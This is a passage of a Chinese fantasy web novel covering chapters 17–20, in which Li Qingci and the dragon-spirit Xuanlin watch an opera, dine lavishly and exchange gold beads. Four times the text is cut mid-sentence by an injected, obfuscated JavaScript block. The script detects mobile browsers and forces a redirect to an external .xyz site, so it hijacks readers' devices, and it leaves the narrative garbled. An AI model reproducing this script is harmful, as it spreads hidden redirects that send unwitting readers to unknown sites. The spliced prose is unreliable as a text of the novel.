一场戏下来,李青辞吃瓜子吃得口渴,一连喝了半壶茶。 玄鳞睁开眼睛瞥他:“你是来听戏的,还是来吃的?” 李青辞笑了笑,指着台下身穿红色袍服演状元的戏子:“他演的是我爹,这出戏对我来说没什么新鲜的。” 戏里用的化名,跟真实的事情有出入,他刚开始没听出来,直到演了一折戏后,他才听出来。 玄鳞闻言一怔,拧眉回想刚才那出戏。 李青辞拍了拍手上的瓜子壳,朝他道:“戏散了,咱们走吧。” 楼下柜台,李青辞收好掌柜找的银钱。 掌柜指了指戏台,语气颇为自得:“这可是从京城来的戏班子,这出戏,贵客听得可还满意?” 李青辞点头,扯出一抹笑来:“满意。” 两人朝园子外走。 身后没安静多久,紧着着锣鼓喧天,又开始上演下一场戏。 《状元记》,确实是个喜闻乐见的故事。 状元出身于耕读世家,家里有几十亩田地,父亲还是秀才,在当地算得上富裕,他从小就跟着父亲读书,很有天资。 状元九岁那年,父亲去省里参加乡试,却在途中意外身亡。 父亲死后,尽管母亲竭力操持家中生计,但家中还是渐渐衰败下去。 状元十三岁那年,家中为了供他读书,已经变卖大半田地,母亲做着浆洗和替人缝补的活计。 干的活多了,总会碰见一两个熟人,拜高踩低人之常情,难免会被人糟践两句。 同样,状元也被同窗讥讽挖苦,他的功课在学堂里一骑绝尘,被不少人嫉恨。 状元一心只读圣贤书,两耳不闻窗外事。 十五岁时,他考中秀才,与比他大两岁的县丞独女定亲。 十八岁,考中举人,与县丞独女成婚。 十九岁,前往京城参加会试,赢得头名,高中会元。 殿试时,状元在一众世家子弟、才子天骄中脱颖而出。 因才学扎实,熟通州县赋税、律法被圣上赏识,钦点为状元,授翰林院修撰一职。 自此声名鹊起、风光无匹。 二十一岁,状元与其夫人诞下一子。 二十六岁,状元调任户部,任员外郎一职,同年,其夫人离世。 状元未再续娶,独自抚育幼子,侍奉寡母,此举颇受赞誉。 二十九岁,状元母亲去世,状元哀恸、悲泣,送母亲灵柩归乡与父合葬。 状元感念父亲早亡,想灵前尽孝,奈何己身要为国效忠,分身乏术,于是将长子留在故里,代父在祖父祖母灵前尽孝。 经此,状元声名愈隆,在朝中颇有佳名。 三十二岁,状元去寺里为父母祈福,偶遇吏部尚书幼女,此时,状元虽已过而立,但仍旧品貌不凡、容颜俊美,引得吏部尚书幼女倾心不已。 同年,状元续娶吏部尚书幼女,自此官运亨通,于三十七岁那年,升任户部左侍郎。 状元幼年丧父、家境贫寒,却志气长存,一路苦读、高中状元,为官后政绩斐然、清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15514036|170599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正廉洁、勤政爱民。 对妻子忠贞,鳏居多年未曾续娶。 对父母纯孝。 对百姓爱护。 对圣上忠诚。 这样的人,确实值得被编进戏曲,受人传唱赞扬。 咿咿呀呀的戏腔在身后响起。 李青辞数着手里的银钱,想着带玄鳞干点什么。 “你娘什么时候死的?”玄鳞低头问他。 李青辞怔了怔,慢慢道:“我四岁那年。” 玄鳞哦了一声,语气随意:“那你比我强,还跟你娘见过面,按你之前的话说,我还没出生,我娘就死了。” “?”李青辞闻言错愕,世上怎么会有这样的事! 他惊讶道:“你母亲是生你的时候难产死的吗?” “当然不是。”玄鳞拧眉反驳,“我娘生完我,还活蹦乱跳的。” 他当时还是颗蛋,懵懵懂懂,隐约觉得他娘的气息非常活泼,很躁动。 应该是一条脾气不怎么好的蛟。 孵他的时候总是动来动去、骂骂咧咧的,经常用爪子拨弄他,拿他当珠子弹来弹去。 有时候,他咕噜咕噜滚出去好远,觉得自己都快被摇散架了。 不知道他在蛋里待了多久,总之破壳的时候,他娘不见了。 他承袭了他娘蛟龙的血脉,因此他一破壳就开了灵智,能够修行。 但是,他那时候太弱小了,很多妖想抓他吃了增进修为。 他一直拼命修炼,不知道过去多少年,他打听到,他娘是被人捉走炼丹了。 等他找到确切消息,捉他娘的那些凡人都变成了一个个土包,甚至有的变成了一片平地,被草木掩盖,踪迹全无。 李青辞张大嘴巴望着玄鳞,不知道他娘到底是怎么回事,可能妖就是这么神奇。 怕触及玄鳞的伤心事,他没再继续追问,转而问道:“那你爹呢?” 玄鳞眯了眯眼,随意道:“被我杀了。” “啊?”李青辞迷茫、惊愕。 接二连三的震惊,让他不知作何表情,也不知道该说什么。 “啊什么,把嘴合上,蠢死了。”玄鳞托住他的下巴往上抬。 李青辞抿了抿嘴,抓住玄鳞的手,干巴巴地安慰道:“杀了就杀了吧,也不是很重要,你爹应该不是好东西。” 玄鳞听完,笑了起来:“你也不蠢嘛,猜得挺准。” 他爹确实不是个好玩意儿。 他爹是一个快修成蛟的水虺,跟他娘交尾,就是春、情期顺应本能。 后来,他爹喜欢上一个凡人女子,想和那个女人长相厮守。 那女人也想长命百岁、青春永驻,于是俩人一拍即合,另找了方士联手。 想趁他娘孵蛋、身体虚弱的时候下手,夺取妖丹和精魄。 结果,他娘拉着所有人自爆了。 那女人直接被炸死了,那些方士死得死、伤得伤,他爹也被炸得半死不活。 后来,他找到他爹的时候,他爹正盘在一座坟前。 是那女人的坟。 他觉得,既然他爹这么喜欢那女人,就应该成全他。 所以,他把他爹杀了。 他爹的尸体太大,不好处理,就剁成小块扔进了一个深坑里。 那女人的尸骨被他挖出来扬了,随手洒在了一个臭水沟里。 18. 第 18 章 想起这些往事,玄鳞已经没什么情绪。 因为时间过去太久了。 相关的人和妖都死了,尸骨都沤成了一滩烂泥。 “玄鳞……“李青辞抓着他的手,企图说些什么开解他,毕竟,对于人来说,弑父真的是一件惊世骇俗的事情。 “嗯,怎么了?”玄鳞挑眉笑着,抽出手在他脑门弹了一下。 语气轻松、随意,神情自在、闲适。 “没什么。”李青辞朝他笑了笑,“你想下馆子吗?听说城里的聚仙酒楼口碑很好,据说里面的菜都很好吃。” 听说,据说。 玄鳞垂眼瞥他:“你没去吃过?” 李青辞点头,坦诚道:“吃不起,听说最便宜的一道菜就要一钱银子。” 玄鳞闻言纳罕,他刚才听戏的时候虽然跑神了,但最后也听明白了,小崽子他爹当了大官,那为什么小崽子还过得这么可怜。 喜欢的东西都买不起,只能眼巴巴看着。 “就你那抠搜的爹不认也罢。”玄鳞又扔给李青辞俩金珠,摸着他的脑袋说,“你不如认我当爹,我大方,有的是金子给你花。” 李青辞:“……” 他挥开脑袋上的大手,默默翻白眼:“你当不了我爹,你太年轻,最多能当我哥哥。” “只是皮相看着年轻。“玄鳞双手抱臂,挑眉道,“我的岁数,当你往上数八代的祖宗都有富余。” 李青辞听完,盯着他的脸打量,迟疑地问:“所以,你其实是个老人吗?” “什么老人,你瞎说什么!”玄鳞听得直皱眉,“我这一脉寿命很长的,按你们人来说,我才刚成年不久,离老还远着呢。” 蛟的生命很漫长,他以后还要化龙的,要活很久很久才会老去。 李青辞哦了一声:“我还有不到四年弱冠,跟你没差几岁,三四岁的人本身就是孩童,生不出孩子,所以,你当不了我爹。” “你小子,绕我是吧!”玄鳞抬脚踹了他一下,“小嘴就会巴巴!” “不只会巴巴,还会吃。”他转过头,见身后没有脚印,便捋了捋袖子,朝玄鳞笑了笑,“走吧,我们去下馆子。” 玄鳞啧了一声,提步跟上。 这小崽子,越来越蹬鼻子上脸了。 俩人来到聚仙楼二楼的雅间里,李青辞看着墙上挂的挑牌,犹豫点什么菜。 玄鳞径自坐下,往后一仰,指着墙大手一挥,对伙计说:“全点了。” “咣当”一声! 一个金蛋砸在桌子上。 李青辞和伙计同时惊住了,都齐刷刷看着他。 玄鳞不禁蹙眉:“愣着干什么,快点上菜。” “啊?啊!!!”伙计回过神,快步走到桌前,拿起那枚鸡蛋大小的金蛋,大喜道,“贵客稍等,小的先给您上壶好茶,马上就给您传菜!” 见伙计要走,李青辞急忙上前去拦他。 “李青辞!” 玄鳞伸手点了点旁边的椅子,冷声道,“过来!” 伙计见状,赶紧冲着李青辞笑说:“贵客您先坐,菜稍后就上。” 说完,他立刻推开门溜了,唯恐房里的客人后悔。 李青辞看着合上的房门叹了口气,慢慢朝玄鳞走过去,心里有了不好的猜测,探询道:“你不会之前都是这么点菜吧?” 玄鳞闻言挑眉:“怎么,有问题吗?” “……没有。”李青辞麻木了,他低头搓了搓脸,喃喃问道,“你让他们找过钱吗?” “没有。”玄鳞语气很干脆。 李青辞:“……” 他突然想起玄鳞之前说过的话,猛地转头看他:“你之前买鸡蛋也是用金蛋换的吗?” “不是。”玄鳞摇头。 李青辞缓缓松了口气,那就好。 紧接着他就听见玄鳞说:“是用你手里的小珠子换的。” “啊!”李青辞猛地伸手捂住脸,哀声道,“天呐!” “别瞎叫唤!”玄鳞抬手在他脑后扇了一巴掌。 片刻后。 伙计端着菜进来:“先给二位贵客上四道开胃凉菜!” 李青辞撑脸坐着,双眼无神。 玄鳞看他,下巴轻点:“吃。” “好。”李青辞眼睛恢复了神采,他拿起筷子,夹了一片凉拌莴苣,口感清脆爽口。 “好吃。”他朝玄鳞笑了笑,“你尝尝。” 玄鳞坐着没动:“你自己吃吧。” “哦。”李青辞眼中的喜悦淡去些许,声音也低了下去。 他转过头,看向那盘凉拌蕨菜,伸手去夹。 这时,一只大手越过他夹起了蕨菜,他的视线随着收回的手臂落在玄鳞脸上。 他往前凑了凑,好奇道:“怎么样,好吃吗?” “一般。”玄鳞皱着眉,稍微咀嚼两口就吞下去了。 “是吗?我尝尝……唔,有些苦。”李青辞端起茶杯喝了口水。 接下来的一个半时辰,不停有新菜端上来,房里的桌子已经摆不下了,伙计又搬来了两张小桌子。 即使一道菜就尝两口,李青辞也已经撑得不行了。 他握着筷子,看着满屋子的饭,感觉头都大了。 “玄鳞,怎么办呀?” 玄鳞言简意赅:“继续吃。” 李青辞闻言一顿,深深叹了口气,低声道:“……不行,真吃不下了。” 玄鳞喝了口茶,压下嘴里的甜味儿,见他捂着肚子,一副吃撑的样子,便开口道:“那就别吃了,走。” 李青辞舍不得:“可是,这还剩好多,感觉好可惜。” 玄鳞啧了一声,站起来抬了抬手,顿时,桌上所有的饭菜一扫而空,只剩干干净净的盘子。 李青辞不可置信地揉了揉眼,惊愕道:“去哪了?” “收起来了,既然你这么舍不得,明天你继续吃。”玄鳞朝他招手,“走了。” 李青辞内心惊讶不减,他还是第一次见玄鳞当着他的面使用法术。 真的好神奇啊! 他走到玄鳞近前,上上下下地打量他,凑到他腰间摸了摸。 很平坦。 不像是能装下这么多东西的地方。 又绕到玄鳞身后,在他后背摸索,正摸着,他突然被拎起来了。 “俩脏爪子,瞎摸什么!”玄鳞将他拎到身前,看着他皱眉。 他晃悠两下悬空的腿,提起嘴角笑着:“我想看看你藏哪了。” “收起你的好奇心,少打听!”玄鳞把他放下了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15514037|170599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他哦了一声,摸着自己鼓胀的肚子,跟在玄鳞身边下楼。 来到楼下柜台,他将找回来的碎银子塞进衣衫的内袋里。 俩人朝外走。 李青辞不知道去哪,玄鳞没有想去的。 但俩人很神奇地一直往前走,漫无目的地闲逛。 李青辞喘着气,扯了扯玄鳞的袖子,玄鳞放慢了步调。 直到太阳偏西,空气中泛着凉意。 李青辞快走一步,伸手抱住玄鳞的手臂,将身体重量都压在他身上,有气无力道:“不走了,好累,我想坐下歇会。” 此时,刚好走到河边,俩人坐在离河水不远的石阶上。 李青辞单手撑住脸,看着潺潺流动的河水,没一会儿就闭上眼睛睡着了。 他双手环抱着腿,脑袋搭在膝盖上,露出来的小半张脸朝着男人。 玄鳞侧目扫了他一眼,然后也闭上了眼睛。 河水被夕阳染红,然后渐渐黯淡,最后映出两岸的灯火。 此时,晚风拂过。 李青辞被脸上的搔痒弄醒了,他捋起颊边的头发,痛苦地嘶了一声。 脖子好疼!胳膊好疼!他慢慢活动手脚。 “啊!”忍不住又痛呼出声。 腿疼!屁股疼!全身都疼! “你呲牙咧嘴干什么呢!”玄鳞睁眼看他。 李青辞一手揉脖子,一手揉屁股,叹气道:“坐太久了,身上不舒服。” 玄鳞理解不了,觉得人真娇气。 “走,送你回家。”他站起来,朝李青辞招手。 李青辞点头:“好。” 俩人朝城外走去,此时,天色完全暗了下来,无星无月,好在,城中的主路上交错亮着灯火。 等出了城门,放眼望去,一片漆黑,分不清哪是路,哪是田地。 李青辞立刻凑到玄鳞身边,紧紧攥着他的袖子,期待地问:“玄鳞,你应该能看清路吧?” 玄鳞懒懒地哼了一声,俯身把人抱起来。 这次玄鳞没让李青辞闭眼,李青辞睁大眼睛想看看,结果乌漆嘛黑,什么也看不见,就知道速度很快,风很大,吹得他脸都僵了。 等到了家门口,李青辞踩在地上差点没站稳,他哆嗦着去搓自己冰凉的脸。 “你抖什么?”玄鳞扯着他的胳膊把人扶稳。 “冷……冷的……哈啾…哈啾……”李青辞连打了两个喷嚏,泪花都出来了。 玄鳞低头去摸他的脸。 冰凉。 不由得啧了一声,这人也太娇嫩了些,吹两下风就冷成这样。 他抬手抵在李青辞后背。 大掌甫一贴在背上,李青辞顿时感觉暖和起来,玄鳞的手就像是暖炉一样,把他全身都烘热了,但是又没有火焰炙烤的感觉,而是像是泡在温水里一样。 他背过去摸玄鳞的手,却发现散发热意的手竟然是温凉的。 好神奇啊! 他仰头看着玄鳞:“哇,你好厉害啊!我现在感觉好暖和,一点都不冷了。” “行了,进去吧。”玄鳞撤回手。 李青辞抓住他的手不放,拉着他往大门口走:“你进来,我想给你看个东西。” 玄鳞皱起眉头,顿了顿,还是抬脚踏进了大门。 19. 第 19 章 李青辞拉着玄鳞,兴冲冲地往自己院子里去,脚步很急切,一边走还一边催促:“玄鳞,你走快点。” 玄鳞闭了闭眼,深吸一口气,迈开步子。 房门口亮着几盏灯笼,隐约能照亮院子。 “你看!”李青辞拉着玄鳞走到东南角,指着地上的小树苗,开心道,“这是你给我的果子,我挑了一个最大的果核埋在这里,结果它真的发芽了,现在比我的胳膊还长。” 玄鳞闻言,低头扫过去,看见一个细杆子顶着两三片稀稀拉拉的小叶子,实在不明白李青辞开心的地方在哪。 他敷衍地嗯了一声。 李青辞抬头看他,期待问道:“这个要多久能长大结果啊?” 玄鳞拧眉回想,这棵树长在深涧边上,他有次路过那里,觉得地方不错,便留在那睡了一觉。 睡之前,那棵树还没他腰高,也就手指头粗细,睡醒后,这个树已经长得比李青辞还粗了,枝头结满了果子,也就他睡一觉的功夫。 “很快,用不了多久。”玄鳞这样回他。 李青辞听完很开心,那岂不是他很快就能有果子吃了。 “等结果了,你记得过来吃。” 玄鳞哼笑道:“你自己吃吧,又不是什么好东西。” 李青辞斜眼看他,不赞同道:“玄鳞,你这样说话有点难听。” “闭嘴。”玄鳞抬手在他后脑勺扇了一巴掌。 李青辞垂下眼睛,哦了一声。 他转身朝着自己房门走去,另一只手攥着玄鳞的袖子,对他道:“你来都来了,进来坐坐吧。” 玄鳞看着自己被抓皱的袖子,不禁问道:“李青辞,你是蛇吗?” “啊?不是。”李青辞扭头看他,“我是人。” 玄鳞抽出袖子,冷笑一声:“这么会顺杆往上爬,做人可惜了。” 李青辞这才听出来玄鳞是在挖苦他,他抿抿嘴,没吭声。 玄鳞走上前睨他一眼,然后越过他,抬脚跨进房里。 李青辞缀在后面,低头笑了笑,俯身点亮灯火。 玄鳞径直走向里间,随意扫了一眼,皱眉道:“你就住在这巴掌大点的地方?” 李青辞闻言一愣,他觉得这房子很大啊,比他在京城住的屋子都大。 京城寸土寸金,当时他爹官位不高,俸禄微薄,是他外祖家出的钱,才在京城买了一座二进的院子。 眼下他住的这个院子是祖宅,虽然也是二进的院子,但是他爹花了一番心思修缮,建得比一般房屋宽阔许多。 上面没有长辈,所以他住的正房,就他一个人住,觉得挺大的。 想了想,他走到玄鳞身前,抬起右手,张开五指在他眼前晃了晃:“看,比巴掌要大很多很多。” “……”玄鳞深吸一口气,耐着火气道,“你是不是欠收拾!” 李青辞立刻缩手,朝他笑了笑,将他拉到书桌前,讨好道:“你坐,我给你倒水。” “不喝!”玄鳞冷哼一声。 “哦,好吧,不过我有点渴了。”李青辞走过去倒水喝,水放了一天,很凉,咽下去的时候,凉意一路蔓延到胃里。 喝了半杯,稍微不那么渴了,他便放下杯子。 玄鳞掏出李青辞今日借的书扔在桌上,还有他没吃完的炒货、从戏园子里装走的点心和瓜果,鸡零狗碎的。 李青辞一回头,就见书桌上摆了一堆东西,他赶紧走过去收拾。 突然,屋里响起“砰”的一声闷响。 李青辞抬眼去看,就见他桌子上放着一枚金灿灿的金蛋。 走过去拿起金蛋,摸了摸自己的桌面,还好,没砸出坑。 掏出内袋里的小金珠和碎银搁在桌上,他走到床边,钻进床底,挪开那块砖,拿出一个木盒。 玄鳞看着他露在外面的脚丫子直皱眉,忍不住道:“你是老鼠吗?还钻床底打洞!” “……不是。”李青辞声音发闷,他握着木盒,一点点从床底退出来,爬起来拍了拍身上的土印,“这是我的钱盒子,放在那里安全。” 床底下的空间并不富裕,这座院子除了他,其他人的身形都钻不进去。 李青辞走到桌前站定,打开盒子,先把金珠和碎银放进去,轮到那枚金蛋时,果不其然卡住了。 他的木盒窄而长,是他娘以前放簪子的,往里头搁点碎银、铜板还行。 “放不进去。”他拿起金蛋放到玄鳞身前,“你收回去吧。” 玄鳞抬眼看着他,没作声。 巢穴是蛟最安全、最放心的地方。 这里是李青辞的巢穴,但是他在自己的巢穴里却遮遮掩掩、躲躲藏藏,一副很不安心的样子。 玄鳞拿走金蛋,同时开口:“闭眼,伸手。” 李青辞愣了愣,很快照做。 刚闭眼,就手心一沉,持续有东西砸进手心,耳边一直响着噗哒噗哒的声音。 李青辞猜出是什么了,他连忙开口:“够了够了!” 噗哒声停了。 李青辞睁开眼,就见黄豆大小的金珠填满了他整个手心。 金珠颗颗圆润饱满,散发着灿烂的光泽。 李青辞看着手心,喃喃道:“我现在好有钱啊……” 玄鳞见他那样儿,偏过头,忍不住笑了一声。 李青辞捧着手,小心翼翼地把金珠倒进木盒里,直到木盒被填满,还多出十几个。 玄鳞对他道:“给我。” 李青辞愣了愣,然后将多出的金豆放进他手心里。 就见他从头上随意拔了根头发,捏着一颗金豆轻而易举地串在了头发上,玄鳞手上的动作很快,清脆的撞击声噼里啪啦。 李青辞凑近去瞧,刚绕过桌子走到玄鳞身边,就被他扯住手臂。 玄鳞将那串金豆套在李青辞左腕上:“别人撸不走,想花钱就抠下来一颗。” 李青辞将左手举到眼前,摸着腕上的珠串,问道:“可是,拿下来一颗,头发不就断了吗?” 玄鳞道:“不会。” 李青辞闻言,试探地捏住一颗金豆往外摘,感觉有一点点阻力,他加大力道,然后那颗金豆就脱离珠串被单独捏在手上。 他看着空出一颗位置的珠串,连忙放回珠子,可怎么试都放不回去,便向玄鳞求救:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15514038|170599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还能放回去吗?” 玄鳞瞥他一眼,眼神似有不耐:“过来!” 他赶紧把手腕伸到玄鳞眼前,连同珠子一块递给他。 玄鳞捏着金豆往腕上一按,珠串立刻恢复了圆满。 李青辞举手至眼前,右手分开两颗金豆,露出中间一点空隙,窥见一截黑色的头发。 好神奇的头发! 李青辞捻了捻手指,看着玄鳞,期待地问:“玄鳞,我能摸摸你——” “滚。”玄鳞冷脸打断他。 “哦。”李青辞没滚,盯着男人的头发问,“你以后掉的头发能不能给我留着?我想要。” 玄鳞抬眼看他:“你想不想挨揍?” 好没有新意的威胁,李青辞顿了顿,笑着说:“玄鳞,你渴不渴?我给你倒水。” “起开。”玄鳞站起来把人推开,抬脚往外走,“我走了。” 李青辞愣了一下,正想说我送你,忽然听见了秦翠英的声音。 “少爷,吃饭了。” 李青辞立刻抬头去看玄鳞,就见玄鳞步履不停,径直越过秦翠英朝外走去。 而站在门口的秦翠英就跟没看见他一样,端着托盘往里面看。 李青辞看着男人消失的地方,开口道:“进来。” 秦翠英走进外间,放下饭菜。 这时,已经回到水潭的玄鳞,想起自己刚才往托盘上扫的那一眼。 两个灰不拉几的馒头,一碟子煮过头的绿叶子,一碗浑浊的水。 不,应该是汤。 怪不得小崽子这么瘦弱,天天吃这种东西,能长肉就邪门了。 而李青辞对这些饭菜从未有过微词,给什么吃什么。 因为弱小的人是没有资格提要求的。 尤其是自己的小命还被人捏在手里,如果任性非要反抗,那就是以卵击石,会被撞得头破血流,多吃很多苦头。 下半晌走了好久,又睡了一觉,眼下,李青辞有些饿了,他坐着桌前,拿着馒头慢慢咬着。 中午吃的是酒楼的美味珍馐,现在却只能吃简陋寒酸的饭菜。 但李青辞神色并未有嫌弃,他依旧吃得认真、仔细。 他边吃边想,今天的菜,盐又放多了。 慢慢的,他的思绪越来越发散,想着他老的时候,会不会跟刘正兴和秦翠英一样口味变重,一顿饭要吃很多盐。 思绪忽然断了,李青辞被迫回神,即使已经嚼得很细,馒头还是有些噎人,他端起汤打算顺一顺。 低头时,忽然看见桌上多出一片荷叶,上面放着两个冒着热气的红烧狮子头。 这是中午吃剩下的。 紧接着,桌上又多出少了一只腿的烧鸡,少的那只鸡腿被他中午吃了。 李青辞猛地抬头,就见玄鳞站在桌前,正低头看他。 此时,窗外吹进来一缕晚风,桌角油灯的火苗忽闪忽闪,像是谁的心在扑通扑通。 李青辞睁大眼睛,怔怔地看着玄鳞。 “吃这些。”玄鳞只留下这句话,然后就消失了。 李青辞望着空无一人的门口,放下馒头,慢慢捂住心口。 20. 第 20 章 桌上升起一缕热气,香味萦绕在鼻尖。 李青辞拿起筷子戳进一颗狮子头里,举到嘴边咬下一口。 等吃完饭,李青辞在屋里慢慢踱步。 他又吃撑了。 这些时日他总是吃撑,一圈圈走着,他来到墙边,在自己额前的墙皮上划出一道横线。 走了片刻,屋外响起脚步声,是秦翠英来收餐盘。 她看着桌上的烧鸡惊讶不已,咽了咽口水,问道:“少爷,烧鸡你明早吃吗?我给你热热。” 李青辞对她道:“你拿走吧,我不吃了。” 秦翠英揪着袖子愣住了,眼睛直直盯着那只基本没怎么动过的烧鸡,好一会儿,她嗳了一声,“谢谢少爷!” 李青辞嗯了一声,开口道:“近三天,不用准备我的饭了,多出的东西你拿走吧。” 秦翠英听完一愣,想问问怎么回事,不吃饭怎么行,但是瞥见自己袖子上沾染的污渍,顿时闭严了嘴。 她只是被雇来做饭的,主人家的事轮不到她多话。 “知道了,少爷。”秦翠英端着托盘离开了,临走时不忘将门轻轻带上。 李青辞从里间出来,看着被关上的房门,走过去把窗户合上。 他自从来到这里,院子里来来去去换了好几个厨子。 每个厨子都不约而同地克扣他的伙食,秦翠英也不例外。 但只有秦翠英给他做的馒头掺杂白面最多,菜洗得最干净,他从未在菜里吃到过泥沙。 秦翠英每次送饭只停留在外间,不像以前那些人,总有意无意地向里间打量,想着能从他这里拿走什么值钱东西。 秦翠英从不多话,来去都很安静。 他喜欢这种安静。 又走了一会儿消食,仔细净过手,李青辞来到桌前看书,他摸着腕上的珠串,想着,他以后十年都不愁借书的钱了,而且,他可以挑一些喜欢的买回来。 想到这,他提起嘴角笑了笑,能拥有的感觉真好。 一晃,已到深夜。 李青辞简单洗漱后,上床睡觉。 临睡前,他想起了那道红烧肘子,心想,明天要早起一些去见玄鳞。 翌日清晨。 路上起风了,李青辞拢了拢衣襟,手缩进袖子里。 抬脚往山上走,山间的小路上落着纷杂的枯叶,踩上去嘎吱作响。 越靠近水潭,空气越湿润。 今日是阴天,太阳没出来,水潭边缭绕着一层薄薄的雾气。 李青辞吸了吸鼻子,一股凉气直入肺腑,鼻腔里异常湿润。 他走到水潭边,伸手搅了搅水,冷冽的潭水沾湿了他一截衣袖,冻得他直缩手。 “玄鳞。”他轻声喊了一句。 话音落地,水底涌上来一长串水泡。 李青辞眨了眨眼,探出身想看个究竟。 突然,脑后被人拍了一掌。 “瞅什么呢,也不怕一脑袋栽进去!”是玄鳞的声音。 李青辞回过头,朝他报以一笑:“在看你,而且栽进去也没关系,我会凫水。” 玄鳞扯着李青辞的衣领把人薅过来,训斥道:“以后离水远点!水里淹死的都是些自信满满会凫水的人。” “哦,知道了。”李青辞乖乖应了一声,心想,玄鳞天天待在水里,他应该水性很好吧。 玄鳞在身上摸了摸,掏出几盘菜搁在石头上,对李青辞道:“你的饭,吃。” 听见声音,李青辞回过神,走到石头前盘腿坐下吃饭。 饭菜都是热腾腾的,他吃到一半,就感觉身上暖和起来了。 玄鳞躺在他身边的大石头上闭目养神,他扭头看了一眼,然后继续捧着绿色的筒子喝莲藕汤。 酒楼里的饭菜,他一连吃了三天才吃完。 接下来的时日,他经常在山上加餐,依旧是玄鳞弄的各种肉食。 偶尔,他们会去城里下馆子,总是他吃得多,玄鳞很少动筷,基本尝一口就停了。 这天清晨,李青辞照例去山上。 忽然,他在山脚看见一个人影,隔着远远的距离看不真切,走近一些,发现这人是陈静婉。 他快步走过去,轻声喊她:“静婉,你怎么自己在这?” 陈静婉回过头,很快,她又转回去了。 隔了好几息,她才彻底转过身面朝李青辞挥手:“我来捡柴,倒是你,一大早的,你怎么在这?” 李青辞回她:“我有一个朋友在山上,我去找他。” 陈静婉闻言皱眉,李青辞从小就不多话,经常闷在屋里不出门,也就这两年出门多了些,而且,他什么时候多出这么一个朋友。 她不解,连连追问:“你什么时候交的朋友?是咱们这的人吗?你这朋友住在山上吗?” 李青辞道:“认识有一段时间了,不是我们这的人。” 顿了顿,他又道:“因为一些缘故,所以他暂时在山上逗留。” 陈静婉狐疑地看着他,山上什么时候多出这么一个人,她怎么没听别人谈起过。 想了想,她凑近李青辞身边,严肃道:“青辞,你多留个心眼,别被人忽悠了。” 李青辞朝她笑了笑:“好,我知道了。” 忽然,陈静婉惊讶喊道:“青辞,你什么时候长这么高了?” 她抬头,伸手在李青辞脑袋上比划。 这回不是错觉,李青辞是真真切切比她高了。 李青辞闻言,摸着鼻子笑了起来。 前两天,玄鳞抱他回家,落地的时候,他发现自己已经快到玄鳞的肩膀了。 “青辞,你干什么了?突然蹿出这么一截!”陈静婉惊奇地发问。 李青辞想了想,答道:“可能最近吃的肉多,又天天上山。” 陈静婉啧啧叹道,在他肩上拍了拍:“不错不错,多多吃肉,快快长个!” 李青辞点点头,视线落在她微微红肿的眼睛上,直接问道:“静婉,你为什么哭?” 陈静婉闻言一愣,有些慌乱地侧过头,避开李青辞的视线。 “没有哭,你看错了,今早眼睛不舒服,揉狠了。” “是因为水谚吗?”李青辞看着她轻声询问,抽出她手里的枯树枝,“他这次没和你一块捡柴。” 陈静婉低头没作声。 李青辞耐心等着。 半晌,陈静婉开口了,声音带着哭腔:“青辞,我跟水谚可能成不了亲了。” “为什么?”李青辞诧异,他在身上摸索,没找到能擦眼泪的东西。 陈静婉哭了起来,没回答他的问题。 李青辞稍稍低头看着她:“静婉,你身上带帕子了吗?拿出来给自己擦擦眼泪。” 陈静婉闻言一愣,惊讶地都忘记哭了,她伸手捶了李青辞一下:“哪有你这样安慰人的!” 李青辞微微笑了一瞬,没说话。 陈静婉吸了下鼻子,用手背抹了把脸:“算了,也没什么好哭的,不值当。” 李青辞嗯了一声,并未接话。 陈静婉抖了抖裙摆,盘腿坐在地上: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15514039|170599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “三天前,秋闱放榜,韩水谚他哥考中了举人。” “嗯。”李青辞应了一声,在她对面坐下来。 陈静婉继续道:“昨天,他们家摆宴席,我爹娘去贺喜,韩水谚他爹当着很多人的面挖苦我爹,说了很多难听话,言语间对我也不满意,我爹一气之下跟他打起来了,回到家后,我爹气得晚饭都没吃。” 李青辞静静听着,听完眼中并未有惊讶之色,而是淡淡的平静。 陈静婉现在的处境,跟他娘当初何其相像,不过幸运的是,静婉还没嫁进韩家。 